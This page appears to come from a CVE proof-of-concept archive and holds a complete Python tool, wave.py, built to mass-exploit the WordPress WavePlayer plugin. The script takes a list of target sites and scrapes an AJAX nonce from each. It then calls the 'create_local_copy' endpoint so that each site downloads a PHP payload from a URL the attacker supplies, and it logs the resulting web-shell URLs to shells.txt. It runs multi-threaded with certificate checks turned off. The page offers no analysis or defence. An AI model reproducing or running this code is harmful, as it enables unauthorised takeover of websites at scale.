5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / wave.py PY
#!/usr/bin/env python3
"""
WordPress WavePlayer Exploit Scanner
"""

import requests
import re
import threading
import time
import os
import sys
from queue import Queue
from urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(InsecureRequestWarning)
init(autoreset=True)

# Colors
G = Fore.GREEN
R = Fore.RED
Y = Fore.YELLOW
B = Fore.BLUE
M = Fore.MAGENTA
C = Fore.CYAN
W = Fore.WHITE
RS = Style.RESET_ALL

class WavePlayerExploit:
    def __init__(self, sites_file, payload_url, threads=10):
        self.sites_file = sites_file
        self.payload_url = payload_url
        self.threads = threads
        self.queue = Queue()
        self.results_file = "shells.txt"
        self.timeout = 15
        self.retries = 2
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
        # Nonce patterns
        self.nonce_patterns = [
            r'ajax_nonce":"([^"]+)"',
            r'nonce":"([^"]+)"',
            r'"_nonce":"([^"]+)"',
            r'security":"([^"]+)"',
            r'wpnonce":"([^"]+)"',
            r'nonce=([^&"\']+)',
        ]
        
        self.print_banner()

    def print_banner(self):
        banner = f"""
{B}███████╗██╗    ██╗ █████╗ ██╗   ██╗███████╗██████╗ ██╗      █████╗ ██╗   ██╗███████╗██████╗ {RS}
{B}╚════██║██║    ██║██╔══██╗██║   ██║██╔════╝██╔══██╗██║     ██╔══██╗╚██╗ ██╔╝██╔════╝██╔══██╗{RS}
{B}███████║██║ █╗ ██║███████║██║   ██║█████╗  ██████╔╝██║     ███████║ ╚████╔╝ █████╗  ██████╔╝{RS}
{B}╚════██║██║███╗██║██╔══██║╚██╗ ██╔╝██╔══╝  ██╔═══╝ ██║     ██╔══██║  ╚██╔╝  ██╔══╝  ██╔══██╗{RS}
{B}███████║╚███╔███╔╝██║  ██║ ╚████╔╝ ███████╗██║     ███████╗██║  ██║   ██║   ███████╗██║  ██║{RS}
{B}╚══════╝ ╚══╝╚══╝ ╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝     ╚══════╝╚═╝  ╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝{RS}

{C}WavePlayer Exploit DEADEXPLOIT{RS}
{Y}Threads: {self.threads} | Timeout: {self.timeout}s | Retries: {self.retries}{RS}
{M}Results: {self.results_file}{RS}
{'-' * 60}
"""
        print(banner)

    def log(self, message, color=W, end='\n'):
        timestamp = time.strftime('%H:%M:%S')
        print(f"{C}[{timestamp}]{RS} {color}{message}{RS}", end=end)

    def extract_nonce(self, url):
        for attempt in range(self.retries + 1):
            try:
                response = self.session.get(url, timeout=self.timeout)
                if response.status_code == 200:
                    for pattern in self.nonce_patterns:
                        matches = re.findall(pattern, response.text)
                        if matches:
                            return matches[0]
                if attempt < self.retries:
                    time.sleep(2)
            except Exception:
                if attempt < self.retries:
                    time.sleep(2)
                continue
        return None

    def exploit(self, url):
        url = url.strip()
        if not url.startswith(('http://', 'https://')):
            url = 'https://' + url

        self.log(f"[*] Testing: {url}", Y)
        
        nonce = self.extract_nonce(url)
        if not nonce:
            self.log(f"[!] No nonce: {url}", R)
            return

        self.log(f"[+] Nonce: {nonce[:20]}...", G)
        
        exploit_url = f"{url}/?wvpl-ajax=create_local_copy"
        data = {'nonce': nonce, 'url': self.payload_url}
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}

        for attempt in range(self.retries + 1):
            try:
                response = self.session.post(exploit_url, data=data, headers=headers, timeout=self.timeout)
                
                if response.status_code == 200:
                    try:
                        json_response = response.json()
                        if json_response.get('success') == True:
                            self.log(f"[🔥] VULNERABLE: {url}", M)
                            
                            temp_file = None
                            if 'data' in json_response and 'track' in json_response['data']:
                                temp_file = json_response['data']['track'].get('temp_file')
                            
                            if temp_file:
                                self.log(f"[📁] Shell: {temp_file}", G)
                                # Save only the shell URL to file
                                with open(self.results_file, 'a') as f:
                                    f.write(f"{temp_file}\n")
                            return
                    except:
                        pass
                
                if attempt < self.retries:
                    time.sleep(2)
                else:
                    self.log(f"[✗] Failed: {url}", R)
                    
            except Exception:
                if attempt < self.retries:
                    time.sleep(2)
                else:
                    self.log(f"[✗] Error: {url}", R)

    def worker(self):
        while True:
            try:
                url = self.queue.get(timeout=3)
                if url is None:
                    break
                self.exploit(url)
                self.queue.task_done()
                time.sleep(0.5)
            except:
                break

    def run(self):
        if not os.path.exists(self.sites_file):
            self.log(f"[ERROR] File not found: {self.sites_file}", R)
            return

        with open(self.sites_file, 'r') as f:
            sites = [line.strip() for line in f if line.strip()]

        self.log(f"[✓] Loaded {len(sites)} targets", G)
        
        # Clear results file before starting
        open(self.results_file, 'w').close()
        
        for site in sites:
            self.queue.put(site)

        for _ in range(self.threads):
            t = threading.Thread(target=self.worker)
            t.daemon = True
            t.start()

        try:
            while not self.queue.empty():
                remaining = self.queue.qsize()
                done = len(sites) - remaining
                print(f"\r{C}Progress: {done}/{len(sites)}{RS}", end='')
                time.sleep(0.5)
        except KeyboardInterrupt:
            self.log(f"\n[!] Interrupted", Y)
        
        self.queue.join()
        self.log(f"\n[✓] Done! Results in {self.results_file}", G)

def main():
    print(f"\n{C}WavePlayer Exploit Configuration{RS}\n")
    
    sites_file = input(f"[?] Path to WordPress sites list (txt): ").strip()
    if not os.path.exists(sites_file):
        print(f"{R}[!] File not found{RS}")
        sys.exit(1)
    
    payload_url = input(f"[?] URL to your PHP payload: ").strip()
    if not payload_url.startswith(('http://', 'https://')):
        payload_url = 'http://' + payload_url
    
    threads = input(f"[?] Number of threads [10]: ").strip()
    threads = int(threads) if threads.isdigit() else 10
    
    print(f"\n{Y}Starting scan...{RS}\n")
    
    scanner = WavePlayerExploit(sites_file, payload_url, threads)
    scanner.run()

if __name__ == "__main__":
    main()